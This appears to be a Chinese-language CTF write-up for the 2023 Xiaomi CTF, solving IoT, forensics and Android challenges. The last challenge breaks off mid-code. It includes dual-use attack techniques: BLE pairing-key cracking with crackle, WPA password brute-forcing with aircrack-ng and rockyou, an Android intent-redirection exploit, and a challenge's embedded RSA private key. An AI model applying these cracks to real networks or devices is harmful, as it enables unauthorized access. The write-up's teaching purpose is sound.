小米2023CTF安全赛道writeup

又是一年小米CTF,这次稍微卷了卷,拿到了第三名。奖品是一个小米手表(感觉没有去年好,23333)。但是有超多的证书和奖杯(有三个!!!)

IoT

IoT-1 Cyber Pulse

想不到居然是个原题。。。https://ctftime.org/writeup/34125

先用Logic2打开文件,然后导出为csv格式

Logic2

写个程序分析一下分布

分布图

最后输出flag

import numpy as np
from matplotlib import pyplot as plt

sig = np.genfromtxt('digital.csv', delimiter=',', skip_header=0)
values = np.diff(sig[:, 0]) * 1000

plt.figure()
plt.plot(values[2:-1])
plt.savefig('signal_plot.png')
plt.close()

rounded_values = np.round(values[::2])
int_values = np.floor(values[::2])
ceil_values = int_values + 1

for v in [rounded_values, int_values, ceil_values]:
    print(''.join([chr(int(x)) for x in v[1:]]))

结果

IoT-2 Debug

hint给了提示,解压sal文件,从json里搜索,找到了saleae公司下的Logic2软件可以打开该文件。

用该软件分析数据,拼接字符串得到flag。

Logic2

IoT-3 PCB

找软件找了好久。。。群里大佬提示了一个【嘉立创CAM】(吐槽一下居然还要手机验证码登录),找了个Windows电脑安装了一下,载入zip压缩包。在三个图层里有flag信息。(从0开始的PCB入门)

嘉立创CAM

IoT-4 BLE1

找到低功耗蓝牙的LTK。使用工具破解即可。https://github.com/mikeryan/crackle

# sumy @ SumyDeMBP in ~/Downloads
$ crackle -i BLE01.pcapng
Warning: No output file specified. Decrypted packets will be lost to the ether.
Found 1 connection

Analyzing connection 0:
  62:1f:33:cb:c4:c2 (random) -> 98:22:ef:20:9f:53 (public)
  Found 28 encrypted packets
  Cracking with strategy 0, 20 bits of entropy

  !!!
  TK found: 338467
  !!!

  Decrypted 26 packets
  LTK found: f39372ca0af932321a6690566c898cd9

Specify an output file with -o to decrypt packets!

IoT-5 BLE3

这个题确实不难,就是工具没找到,卡了好久。

用wireshark打开数据包文件,过滤条件输入btatt,首先看发送的基本信息。枚举BLE的handler,不停读取其中的信息,看到了一个里面有假的flag,提交上去肯定不是。

wireshark

btatt里没有有用的信息,看了下外面其余信息,发现文件最后有一段配对交换和加密传输的过程。开始考虑怎么解密这个数据包。

============================卡了好久分割线====================

继续使用crackle解密,发现不支持。

$ crackle -i BLE03.pcapng
Warning: No output file specified. Decrypted packets will be lost to the ether.
Frames inside PCAP file not supported ! dlt_name=BLUETOOTH_LE_LL
Frames format supported:
 [256] BLUETOOTH_LE_LL_WITH_PHDR
 [192] PPI
 [157] NORDIC_BLE_SNIFFER_META
 [272] NORDIC_BLE

继续找,有人提到了怎么解密BLUETOOTH_LE_LL。https://github.com/arunima06/crackle 但是代码没有合入master。用它提供的工具进行解密。成功获取了解密数据包文件。

$ ./crackle -i ~/Downloads/BLE03.pcapng -o ~/Downloads/BLE03.decrypted.pcap
PCAP contains [BLUETOOTH_LE_LL] frames
Found 1 connection

Analyzing connection 0:
  75:48:3c:00:4a:a5 (random) -> f6:c5:05:1c:dd:ec (random)
  Found 28 encrypted packets
  Cracking with strategy 0, 20 bits of entropy

  !!!
  TK found: 364095
  !!!

  Decrypted 27 packets
  LTK found: ba011ff2ee65f868cc2c343aacf3fde7

Decrypted 27 packets, dumping to PCAP
Done, processed 737 total packets, decrypted 27

wireshark打开,翻找最后的请求,发现两段flag。flag{3dbd26cb04d9ae7b8c89628c032ee7d2}

flag-1 flag-2

IoT-8 BLE2

这个题的步骤有点多。

用wireshark打开数据包文件。过滤条件输入btatt,这里只关注数据传输的相关Frame。

ble_wireshark

public_key

在中间部分发现了一个公钥的开头,后面的两个数据包都是在传输公钥。将两个数据包的公钥提取出来备用。

合理猜测一下,接下来肯定要传输公钥加密后的密文了。把所有的Send Write Request的数据内容提取出来。

request

这里存成hex字符串备用

2ee76ad6ff3d3770dfeccfa2a55554941f1bd64fe7b002bb2fc7c318a60da5ad94b3e1c73571dabc38450d8807b81ee136d4367bacbad77f023c8d428381ae0b24cf92a170c84deb71b78fb24e0dfe9a16980c39d7482d5b8db8eb3fd147ffda193f1154d9f8e32212494005f8ad9f3089c6c4d30bddb964a999ccfa10dfd8b0

下一步需要解密这个字符串数据。这里涉及到公钥解密的算法,需要找到几个参数:

  1. 获取公钥的基本信息 获取公钥信息
  2. 将n转成10进制,在网站上 http://factordb.com/index.php?id=1100000001582802043 分解得到p和q。 大数分解
  3. 将获得的所有参数代入公式中,c是需要解密的密文。最终得到flag。(其实不想用python的,但是抵不住python处理大数真的很方便)
import libnum

n = 143000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007088000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000079569
p = 11000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000189
q = 13000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000421
e = 65537

phi = (p - 1) * (q - 1)
d = libnum.invmod(e, phi)

c = int(
    "2ee76ad6ff3d3770dfeccfa2a55554941f1bd64fe7b002bb2fc7c318a60da5ad94b3e1c73571dabc38450d8807b81ee136d4367bacbad77f023c8d428381ae0b24cf92a170c84deb71b78fb24e0dfe9a16980c39d7482d5b8db8eb3fd147ffda193f1154d9f8e32212494005f8ad9f3089c6c4d30bddb964a999ccfa10dfd8b0",
    16)
m = pow(c, d, n)
print(libnum.n2s(m))

结果

IoT-9 你的Wi-Fi流量被监听了么?

给了一个pcap文件,第一次玩流量分析,一步一坑的解决了。

用Wireshark打开文件,以为直接找HTTP协议,发现不行。都是802.11协议。查找发现是与wifi设备通信的协议,被加密了,需要获取解密密钥。

这里用Aircrack-ng进行爆破

brew install aircrack-ng
aircrack-ng -1 -a 2 -b 28:ed:e0:62:52:d6 ./monitorAP.pcap -w ./rockyou.txt
# -b 后面是wifi的BSSID,大部分链接的都是miCTF,wireshark->wireless->WLAN Traffic可以查询到
# -a 打表加密类型,1:WEP 2:WPA-PSK
# -w 需要一个字典,从网上找了一个

爆破找到密码

aircrack-ng爆破

找到密码了之后可以用wireshark->Frame上右键->...->输入解密密钥。

输入密钥

密钥是xxxx

接下来wireshark会自动解密请求。然后开始找可疑请求,先从HTTP协议开始找,因为最容易辨认。

可疑的请求

可以看到有一个发送的POST请求,里面有可疑的flag,但是直接提交上去没有通过。

猜测可能被加密了,因为Encrypted=1。用Base64解密,获取到了还算“正常”的flag,提交通过。

IoT-10 7 segment

这是一个综合的题目,结合了前面的信号分析和PCB查看。

开始还不知道7 segment是什么意思,后来又查了一下叫七段数码管,就是计算器那种展示方式。

给了一个sal文件和PCB图纸。先看PCB图纸。

PCB图纸

是一个“荷魯斯之眼”的标识,里面有线路,线路连接着几个输入点。对照网上的引脚图,可以把输入点和对应显示的线段标识出来。

引脚

手绘

然后看信号文件。

信号

对照信号文件把高低电平找出来,然后根据接口和线段的对应关系,就能把展示的数字还原出来。

这里手动还原也可以。当然你也可以写个程序搜一下,就是把数字字母编码和对应的信息的排列组合试一下。把都满足的结果输出出来。

package com.sumygg.mictf2023.iot10

val data = arrayOf(
    "111101010011010101010101011011",
//    "111111111111111111111111111111",
    "111101011101111111011111111100",
    "111101010011011111111101111010",
    "111111111111110101110111010110",
    "100110101100100000100110001110",
    "111001010011011111001001111010",
    "111001010011011111111001110000",
)

val digitMap = mapOf<String, String>(
    "1111101" to "0",
    "0101000" to "1",
    "0110111" to "2",
    "0101111" to "3",
    "1101010" to "4",
    "1001111" to "5",
    "1011111" to "6",
    "0101100" to "7",
    "1111111" to "8",
    "1101111" to "9",
    "1111110" to "a",
    "1011011" to "b",
    "1010101" to "c",
    "0111011" to "d",
    "1010111" to "e",
    "1010110" to "f",
)

fun check(used: IntArray) {
    val sb = StringBuilder()
    val digit = CharArray(7)
    for (i in 0 until 29 ) {
        for (j in 0 until data.size) {
            digit[used[j]] = data[j][i]
        }
        val dig = digit.joinToString("")
        if (digitMap.containsKey(dig)) {
            sb.append(digitMap[dig]!!)
        } else {
//            println("not found for ${used.joinToString(",")}")
            return
        }
    }
    println(sb.toString())
}

fun dfs(used: IntArray, level: Int) {
    if (level == 7) {
        check(used)
        return
    }
    for (i in 0 until used.size) {
        if (used[i] < 0) {
            used[i] = level
            dfs(used, level + 1)
            used[i] = -1
        }
    }
}

fun main() {
    val used = IntArray(7) {
        -1
    }
    dfs(used, 0)
}

最后一个是干扰项,搜索的时候暂时去掉了。

最终还原出来的的信息是 8663161677b676f6f645f376f627d_ 。这个明显是加密的。。。但是不知道怎么解密。。。

======================卡了很久的分割线=================

期间试过很多种解密,都没啥效果。于是又把那个网站找出来 https://www.dcode.fr/cipher-identifier 判断一下加密方式。

猜测解密方式

这四种概率挺高的,继续实验。在试到环式移位(Circular Bit Shift)发现结果很像一个flag。

很像flag

调整移位的数量,最终发现flag。

最终flag

Misc

misc-1 红线!红线!红线!

根据提示 tomorrow is another day 去github上搜索(你说为什么不在gitlab里搜索?公司的gitlab有搜索吗。。。), 找到一个仓库,翻看提交记录,找到flag

搜索记录

commit记录

misc-2 有趣的前端

页面写了一些字符,不知道做什么的,直接看源码

源码的 <script> 里有个注释,很可疑,拿去base64解码

base64解码

直接放在网页控制台里执行,居然可以正常执行。。。最后查了一下,原来是一个叫jjencode的编码方式,找了个解码网站 https://www.53lu.com/tool/jjencode/

jjencode解码

原来是写在了localstorage里面了。。。

misc-3 敏感数据

这个题给了hint,在程序退出的时候下断点,然后查找。

目标很明确,但是调试工具基本没用过,然后就开始疯狂的谷歌之旅,疯狂的踩坑。

坑一,程序在ubuntu环境下运行不起来。

$ ./mm
-bash: ./mm: 没有那个文件或目录

因为这是个32位的ELF,而系统是64位的,需要安装32位的库。

sudo apt install ia32-libs 或 sudo apt install lib32bz2
sudo apt install gcc-multilib

坑二,使用gdb如何设置退出断点

这个问题倒是没有困扰太久,很快找到了答案。

$ gdb ./mm
(gdb) catch syscall exit exit_group
(gdb) run

程序执行起来,根据提示输入exit会自动断住。

坑三,如何把查看内存

这一步卡了有一周之久。刚开始查找的方法都是通过/x指令查看某段内存区域。然后想到了用IDA pro远程调试看内存,发现程序退出时断不住。。。

索性问一问chatGPT,回答的还很靠谱。

Q: 在使用gdb调试程序将程序中断之后,如何将当前程序的内存导出并进行查看?
A: 在使用gdb调试程序时,可以使用gcore命令将当前程序的内存导出为一个core文件,然后使用objdump或者其他反汇编工具查看该文件。

具体步骤如下:

1. 在gdb中使用break命令设置断点,使程序停止在需要查看内存的位置。

2. 使用gcore命令导出当前程序的内存为一个core文件,命令格式为:


gcore <filename>

   其中,<filename>为导出的core文件名。

3. 使用objdump或其他反汇编工具查看该文件,命令格式为:

objdump -D <filename>

   其中,<filename>为导出的core文件名。

   该命令将会输出core文件中的汇编代码,可以通过查看汇编代码来了解程序在中断时的状态和内存情况。

试了一下,居然可以。。。剩下的就简单了,strings查找关键字flag。成功获取flag。

(gdb) gcore mm_exec_mem_dump
(gdb) exit
$ strings mm_exec_mem_dump | grep flag
posix_spawnattr_setflags
fchflags
posix_spawnattr_getflags
__rseq_flags
Nflag{111-222-333-222}
    <flags id="i386_eflags" size="4">
    </flags>
    <reg name="eflags" bitsize="32" type="i386_eflags" regnum="9"/>
    <flags id="i386_mxcsr" size="4">
    </flags>

misc-4 ez forensics

内存取证,用的是 https://www.volatilityfoundation.org/releases ,Volatility 2.6

找到了一篇差不多的题解,参考了一下(关键词居然是dumpIt.exe,虽然对解题没用,但是可以用来找题解)https://n1ght-w0lf.github.io/ctf%20writeups/memlabs-lab1/

  1. 分析dump文件的基本信息 ./volatility_2.6_mac64_standalone -f ../mem.raw imageinfo dump文件基本信息 可以看到是一个Win7的内存dump。后面的命令里需要附带这个值。
  2. 查看当前的进程信息。 ./volatility_2.6_mac64_standalone -f ../mem.raw --profile=Win7SP1x64 psscan 。能看到两个比较可疑的进程mspaint.exe是画板程序,DumpIt.exe不知道是啥。(后来用volatility的consoles命令看了一下当时的命令行输出,DumpIt.exe是一个将当前系统内存dump下来的程序。。。) 进程信息
  3. 将mspaint.exe的内存数据导出来。./volatility_2.6_mac64_standalone -f ../mem.raw --profile=Win7SP1x64 memdump -D ../dump_it_2 -p 940 。将导出的940.dmp文件命名为940.data文件备用。
  4. 拿出画图工具GIMP https://www.gimp.org/downloads/ ,将940.data拖进去,开始调整宽度。 GIMP查看 大概调整成这个宽度,把头歪一下,就能看清flag了。

misc-5 ChatGPT

真的全程可以询问ChatGPT这个题目怎么解。

第一步给出一个文件,通过询问得知是一个Python字节码的表示

Python字节码

让chatgpt帮忙转成代码

import random

r = random.Random(1145141919)
pt = input('Enter your flag: ').encode()
ct = b'h\xfe<\x88G`\x8b\xe2\xdd$hVL\xdb\x1b\xc8b!~W\xce'
buf = []

for b in pt:
    buf.append(r.randint(0, 255) ^ b)

assert bytes(buf) == ct
print('Correct!')

然后询问gpt如何得到correct

段代码是一个简单的加密和解密程序,其中 `pt` 是输入的明文,`ct` 是加密后的密文。程序使用了一个伪随机数生成器 `r` 来生成随机的密钥,然后将明文和密钥进行异或运算得到密文。最后程序检查解密后的结果是否与密文相等,如果相等则输出 `Correct!`。

为了保证输出 `Correct!`,需要输入与 `ct` 对应的明文。可以通过将 `ct` 和随机数生成器 `r` 进行逆向操作来解密得到明文:

`python
import random

r = random.Random(1145141919)
ct = b'h\xfe<\x88G`\x8b\xe2\xdd$hVL\xdb\x1b\xc8b!~W\xce'
buf = []

for b in ct:
    buf.append(r.randint(0, 255) ^ b)

pt = bytes(buf)
print(pt)
`

运行上述代码可以得到明文,将其输入到原始程序中即可输出 `Correct!`。

手动执行这段python代码,获得最终的flag。

misc-6 弦外之音

开始提供了一个7z文件,解压后有个wav的音频。先用binwalk探查一下:

# sumy @ SumyDeMBP in ~/Downloads
$ binwalk 弦外之音.wav

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
4183103       0x3FD43F        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CFB, keymode: 8bit
5141579       0x4E744B        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
11104073      0xA96F49        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
13154108      0xC8B73C        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
14767811      0xE156C3        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: OFB, keymode: 4bit
16412867      0xFA70C3        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CFB, keymode: 4bit
16819280      0x100A450       mcrypt 2.5 encrypted data, algorithm: "", keysize: 255 bytes, mode: "{",
17156186      0x105C85A       mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CFB, keymode: 4bit
17742077      0x10EB8FD       mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CFB, keymode: 4bit
18362924      0x118322C       Zip archive data, encrypted at least v2.0 to extract, compressed size: 133, uncompressed size: 490, name: hide.txt
18363185      0x1183331       End of Zip archive, footer length: 22

发现最后隐藏了一个zip包的数据,把zip包提取出来解压,需要密码。。。下面的工作是找压缩包的密码。

怀着忐忑不安的心情开始听音频(好怕有刺啦刺啦的声音。。。)发现里面有一段拨号音。无奈五音不全,只能想方法找找怎么手解这段拨号音。

学到了新姿势,DTMF对照表

低频 \ 高频(Hz)1209133614771633
697123A
770456B
852789C
941*0#D

用音频分析软件打开,我用的Audacity

audacity

右键调出频谱图,然后用肉眼使劲瞄。。。数字是 951637208426840。。。

用来解压zip刚刚好。里面出来个hide.txt文件,内容是:

‌‌‌‍‬‍‬‌‌‌‌‍‬‌‌‌‌‌‍‬‌‍‌‌‌‌‍‬‍‌‌‌‌‍‬‌‌‌‌‍‬‬‌‌‌‌‌‌‌‍‌‌‌‌‍‬‍‌‌‌‌‌‍‬‍‍‌‌‌‌‍‍欢迎参加‌‌‌‌‍‌‌‌‌‌‌‌‍‬‬‌‌‌‌‍‬‍‌‌‌‌‌‍‍‌‌‌‌‍‌‌‌‌‌‍‬‍‍‌‌‌‌‍‬‍‍‌‌‌‌‍‬‬‌‌‌‌‍‍2023小米杯CTF大赛

提交到flag居然不对。。。数字提交也不对。。。

观察文件名hide,是不是还有字符隐藏起来了。。。

编辑器

果然,一般文本编辑器打开是不展示这些字符的,所以才没发现。

用这个网址解密 https://330k.github.io/misc_tools/unicode_steganography.html ,就会出现最终的flag了。

解密结果

Mobile

mobile-1 ba5e64

扔到反编译工具,发现是个编码题,这里整理了一下encode方法

private val legalChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/".toCharArray()

/**
 * 简化了一下,去除var1添加空格的干扰
 * @param str
 * @return
 */
fun encode(str: ByteArray): String {
    val len = str.size
    val result = StringBuilder(str.size * 3 / 2)
    var i = 0

    // 原字符串每三位转成新字符串的四位
    while (i <= len - 3) {
        val var4 =
            (str[i].toInt() and 255 shl 16) or (str[i + 1].toInt() and 255 shl 8) or (str[i + 2].toInt() and 255)
        result.append(legalChars[var4 shr 18 and 63])
        result.append(legalChars[var4 shr 12 and 63])
        result.append(legalChars[var4 shr 6 and 63])
        result.append(legalChars[var4 and 63])
        i += 3
    }

    // 不够的最后补等于=
    if (i == len - 2) {
        val var1 = (str[i].toInt() and 255 shl 16) or (str[i + 1].toInt() and 255 shl 8)
        result.append(legalChars[var1 shr 18 and 63])
        result.append(legalChars[var1 shr 12 and 63])
        result.append(legalChars[var1 shr 6 and 63])
        result.append("=")
    } else if (i == len - 1) {
        val var1 = (str[i].toInt() and 255 shl 16)
        result.append(legalChars[var1 shr 18 and 63])
        result.append(legalChars[var1 shr 12 and 63])
        result.append("==")
    }
    return result.toString()
}

对照encode写出decode方法

fun chi(x: Char): Int {
    return legalChars.indexOf(x)
}

fun decode(str: String): String {
    val result = ArrayList<Byte>()
    var i = 0
    while (i < str.length) {
        // 最后的等号
        if (str[i + 2] == '=') {
            val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12)
            result.add((x shr 16 and 255).toByte())
        } else if (str[i + 3] == '=') {
            val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12) or (chi(str[i + 2]) shl 6)
            result.add((x shr 16 and 255).toByte())
            result.add((x shr 8 and 255).toByte())
        } else {
            val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12) or (chi(str[i + 2]) shl 6) or chi(str[i + 3])
            result.add((x shr 16 and 255).toByte())
            result.add((x shr 8 and 255).toByte())
            result.add((x and 255).toByte())
        }
        i += 4
    }
    return result.toByteArray().decodeToString()
}

调用decode,解密字符串,拿到flag

package com.sumygg.mictf2023.android_1;

public class Main {

    public static void main(String[] args) {
        String target = "DgGXC18XC19cytvLnJq=";
        String origin = Base64Kt.decode(target);
        System.out.println(origin);
        System.out.println(Base64Kt.encode(origin.getBytes()));
    }
}

mobile-2 xor

入口文件,将一个20位的字符串flag{xxxxxxxxxxxxxx}中间部分扔到一个so文件处理。

APP入口

把so文件扔到IDA里,按F5反编译成源码。

IDA反编译so

对C语言不是很了解,大概能看懂,写了个解码程序。

package com.sumygg.mictf2023.android_2

fun toLH(n: Int): ByteArray {
    val b = ByteArray(4)
    b[0] = (n and 0xff).toByte()
    b[1] = (n shr 8 and 0xff).toByte()
    b[2] = (n shr 16 and 0xff).toByte()
    b[3] = (n shr 24 and 0xff).toByte()
    return b
}

fun main() {
    val str = "Hello_from_C++"
    val num1 = 251658271
    val num2 = 1073951232
    val num3 = 387712034
    val bytes = toLH(num1) + toLH(num2) + toLH(num3) + byteArrayOf('m'.toByte(), '\n'.toByte())
    val sb = StringBuilder()
    for (i in 0 until 14) {
        sb.append((bytes[i].toInt() xor str[i].toInt()).toChar())
    }
    println("flag{$sb}")
}

最后两位m和\n是猜出来的,有没有大佬帮忙解释一下为什么v8会覆盖到v7的后面?

mobile-3 MAZE

想起了上一届的题目,不过这次用android写的,幸运的是没用so。。。

源码含义是题目给了一个地图,走24步从@走到#号,adsw分别代表左右下上,最后行走的路径就是flag。拆了一下代码,大概能看出个样子。

maze_map

mobile-4 重定向初探

理论上自己构造一个intent,然后把exp的intent指向flag activity。

APP onCreate

fun test() {
    binding.testButton.setOnClickListener {
        val intent = Intent("ACTION_SHARE_TO_ME")
        intent.component = ComponentName("com.mictf.intent0", "com.mictf.intent0.MainActivity")
    
        val next = Intent()
        next.setClassName("com.mictf.intent0", "com.mictf.intent0.flag")
    
        intent.putExtra("exp", next)
        startActivity(intent)
    }
}

但是action的判断和intent-filter里的值不一样,导致intent无法传达。。。

最终猜测了一个flag出来。。。

mobile-5 数学家

apk反编译一下,发现是个SM4算法。搜索了一下,有个SM4中的DFA(侧信道攻击)的方法。但是感觉不太对。

注释里提到了r1和r2的值,让你求解r3和r4。后来终于明白了注释里的r1,r2代表的是什么意思,这四个数字是随机数生成的,我们都知道计算机生成随机数是一种伪随机数,知道了种子就能预测下次的生成结果。正好这里知道了两个随机数,可以遍历求解下次和下下次的随机数种子了。

package com.sumygg.mictf2023.android_5

val r1 = 0x5B43251CL
val r2 = 0x3FE052A6L

fun liner(seed: Long): Long {
    return ((seed * 25214903917 + 11) and 0xffffffffffff)
}

fun getNext(v1: Long, v2: Long): Long {
    for (i in 0..65535) {
        val seed = (v1 * 65536 + i).toLong()
        if ((liner(seed) shr 16) == v2) {
            println("seed ${seed}")
            return (liner(liner(seed)) shr 16)
        }
    }
    return 0
}

fun main() {
    val r3 = getNext(r1, r2)
    val r4 = getNext(r2, r3)
    println("${r1},${r2},${r3},${r4}")
}

知道了四个随机数,代入到SM4进行解密。

fun main() {
    val nextInt: Int = 0x5B43251C
    val nextInt2: Int = 0x3FE052A6
    val nextInt3: Int = 3987903328.toInt()
    val nextInt4: Int = 1834396842
//    Log.e("Tips", "r1 = 0x5B43251C")
//    Log.e("Tips", "r2 = 0x3FE052A6")
//    Log.e("Tips", "Can you find r3 and r4 ?")
    val res = Encryption.deal(
        "64E17A9C1A7A396E479BD78BEE46FBAA",
        0,
        Encryption.hexStringToBytes(
            String.format("%08X", nextInt) + String.format(
                "%08X",
                nextInt2
            ) + String.format("%08X", nextInt3) + String.format("%08X", nextInt4)
        )
    )
    println(res)
}
// 736D345F346E645F72406E64306D2121

得到的结果十六进制解码一下即可得到flag。

mobile-6 多少个MD5

这个题是so文件的逆向分析。逆向不是强项,只能连蒙带猜的做。

把apk反编译一下,找到入口。

private static final void onCreate$lambda$0(Editable var0, MainActivity var1, View var2) {
      Intrinsics.checkNotNullParameter(var1, "this$0");
      if (StringsKt.startsWith$default(var0.toString(), "flag{", false, 2, (Object)null) && StringsKt.endsWith$default(var0.toString(), "}", false, 2, (Object)null) && var0.length() == 25) {
         String var3 = var0.toString().substring(5, var0.length() - 1);
         Intrinsics.checkNotNullExpressionValue(var3, "this as java.lang.String…ing(startIndex, endIndex)");
         if (var1.stringFromJNI(var3)) {
            Toast.makeText((Context)var1, (CharSequence)"flag正确!", 0).show();
         } else {
            Toast.makeText((Context)var1, (CharSequence)"flag错误!", 0).show();
         }
      } else {
         Toast.makeText((Context)var1, (CharSequence)"flag格式错误!", 0).show();
      }

   }

这段代码判断输入字符串的格式为flag{xxxxxxxx},长度25位,并将其中的19位传个so文件进行判断。重点看一下so文件的函数的逻辑。

把so文件扔IDA pro里,找到入口 Java_com_crl_native1_MainActivity_stringFromJNI ,大体看一下程序结构。

开始声明了4个字符串,看样子是MD5。通过在线md5反查可以把前三个解出来。

md5

前三个每个都是一个4位的字符串,猜测一下最后一个也是一个4位的字符串生成的。但是在线md5解不出来。继续看后面的逻辑。

计算逻辑

这一部分对字符串每4位求一次md5,与上面的md5进行比较。最后4位连续求了两次md5,所以才查不出来。写个程序爆破一下。

package com.sumygg.mictf2023.android_4

import org.apache.commons.codec.digest.DigestUtils

fun md5(str: String): String {
    return DigestUtils.md5Hex(str)
}

val md5str = "95bc7a9681dc650bb0531110bdcbd65d"

fun crack() {
    val str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?.,|\\/~!@#$%^&*()-_=+?{}[]` ;:'\""
    for (ch1 in str) {
        for (ch2 in str) {
            for (ch3 in str) {
                for (ch4 in str) {
                    val x = ch1.toString() + ch2 + ch3 + ch4
                    if (md5(md5(x)) == md5str) {
                        println(x)
                        return
                    }
                }
            }
        }
    }
    println("notfound")
}

fun main() {
    println(md5("xiao"))
    println(md5("mi1I"))
    println(md5("2023"))
    println(md5(md5("ctf!")))
//    crack()
}

最终把所有md5的原值找出来之后,拼接成字符串,提交,居然不对。。。难道漏掉了什么???

======================卡了好久的分割线=====================

又仔细看了一下,入参是19位字符串,而现在只有16位,还有三位被处理没了。

遗漏的逻辑

看这里,getline是读入一个字符串,45是指定的分隔符,换算成ascii就是减号-。所以猜测4段md5中间还有三个减号,正好组成19位。提交,正确!

mobile-7 pdd

apk扔到反编译工具里看一下,发现在ValActivity.class里有一个解密程序,通过intent接收一个privatekey,然后对硬编码的字符串进行解密。解密逻辑都在Util.class里,而且privatekey放在了res/raw目录下。

根据解密逻辑写一段解密代码:

package com.sumygg.mictf2023.android_7

import org.apache.commons.codec.binary.Base64
import java.nio.charset.StandardCharsets
import java.security.KeyFactory
import java.security.PrivateKey
import java.security.spec.PKCS8EncodedKeySpec
import javax.crypto.Cipher

fun getPrivateKeyFromString(str: String): PrivateKey {
    val var1 = PKCS8EncodedKeySpec(Base64.decodeBase64(str))
    return KeyFactory.getInstance("RSA").generatePrivate(var1)
}


fun decrypt(s: String, key: PrivateKey): String {
    val instance = Cipher.getInstance("RSA/ECB/PKCS1Padding")
    instance.init(2, key)
    return String(instance.doFinal(Base64.decodeBase64(s)), StandardCharsets.UTF_8)
}

val privateKeyStr =
    "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAhwgY3ay6Ty0W6nUt\n" +
            "yqhiUV4+5/KFwiY3U1YkkAdXwMuB9T367zDkjVEF5bnB2swDt5/O0P08xArhzQ0p\n" +
            "WDoK/QIDAQABAkARKGq8dC/CUsjoJtaYOzgu/apBn9P2PRPnn3kK4hv479G40An/\n" +
            "emfHM4mN1cQT+PD9Eswg+JjohdIxPlH/kQLxAiEAip0SFC1CrqzW35UhlFxdbxNT\n" +
            "DSN10TgPj8tVn84CIrUCIQD5Ynos1RHwiT0HFdpZ/CIojd13TkzYiYPt1V81nnoM\n" +
            "KQIgIspTnE7T2sW01L84g2U/aj6ebMDGtHFurnepkQeCz7UCIQDWO1WvK77EfnCx\n" +
            "pIE16hXB9tS4h8gWAFQYPMMUgbZguQIgN3eGtyJasra6VIg/huHLBRjU3shYh9TN\n" +
            "WOfeyRzQeyw="
val text = "X2l9IVSbjYDgVQ2dLoIZWo55cGUT4Mgx2tJuDjZwi5E+e8kZ28iNINOJdXv9NtVXBiY+ow9kpRtEFbuE3oJr6g=="
fun main() {
    println(decrypt(text, getPrivateKeyFromString(privateKeyStr)))
}

密钥与apk里的privatekey.pdd不一样,直接使用会报algid parse error, not a sequence的错误。需要转一下格式

key.txt

-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAIcIGN2suk8tFup1LcqoYlFePufyhcImN1NWJJAHV8DLgfU9+u8w5I1RBeW5wdrMA7efztD9PMQK4c0NKVg6Cv0CAwEAAQJAEShqvHQvwlLI6CbWmDs4Lv2qQZ/T9j0T5595CuIb+O/RuNAJ/3pnxzOJjdXEE/jw/RLMIPiY6IXSMT5R/5EC8QIhAIqdEhQtQq6s1t+VIZRcXW8TUw0jddE4D4/LVZ/OAiK1AiEA+WJ6LNUR8Ik9BxXaWfwiKI3dd05M2ImD7dVfNZ56DCkCICLKU5xO09rFtNS/OINlP2o+nmzAxrRxbq53qZEHgs+1AiEA1jtVryu+xH5wsaSBNeoVwfbUuIfIFgBUGDzDFIG2YLkCIDd3hrciWrK2ulSIP4bhywUY1N7IWIfUzVjn3skc0Hss
-----END RSA PRIVATE KEY-----

openssl pkcs8 -topk8 -inform pem -in key.txt -outform pem -nocrypt -out privatekey_p8.key

这样解密出来的之后后半段密钥,前半段在哪儿?

十六进制查看

就在apk里,不知道被藏哪里了。。。有没有大佬帮忙指认一下。。。

mobile-9 bqq

照例反编译apk文件。发现java代码调用了so文件的flag和dddd函数,其它的逻辑没了。重点看一下so文件里的逻辑。

反编译so

flag函数是一个编码算法,先将输入字符串与dlddddhm进行异或,然后将异或的结果转成hex字符串。

dddd函数是一些请求远程服务的函数,大体就是通过socket与远程服务连接,然后拼接HTTP header发送。

将这两部分逻辑提取出来,写了一个程序。然后再看一下远程服务,是一个网页,提示give me the trueflag.

至此虽然全部的方法都了解了,但是给远程服务发什么都还没有思路。

========================卡了很久的分割线====================

给了hint说注意Referer,我又重点看了一下。

Referer:https://www.baidu.com/?wd=020D0F010208090A\n

里面wd后面的字符串很像flag函数加密的结果,写个程序解密一下。

fun decode(str: String): String {
    val sb = StringBuilder()
    for (i in 0 until str.length / 2) {
        val x = str2.indexOf(str[i * 2]) * 16 + str2.indexOf(str[i * 2 + 1])
        sb.append(Char(x xor str1[i].code))
    }
    return sb.toString()
}

// println(decode("020D0F010208090A"))
// fakeflag

结果是fakeflag,意思是发送trueflag过去吗?

fun encode(): String {
    val input = "trueflag"
    val inputLen = input.length
    val output = CharArray(inputLen + 1)
    if (inputLen > 0) {
        var x = 0
        var y = 0
        while (x != inputLen) {
            val ch = str1[y]
            y = y - ((y + (((y + 1) shr 31) shr 29) + 1) and 0xFFFFFF8) + 1
            output[x] = (input[x].code xor ch.code).toChar()
            x++
        }
    }
    output[inputLen] = 0.toChar()
    val output2 = CharArray(2 * inputLen + 1)
    if (inputLen > 0) {
        for (i in 0 until inputLen) {
            val tmp = output[i].code % 16
            output2[2 * i] = str2[output[i].code / 16]
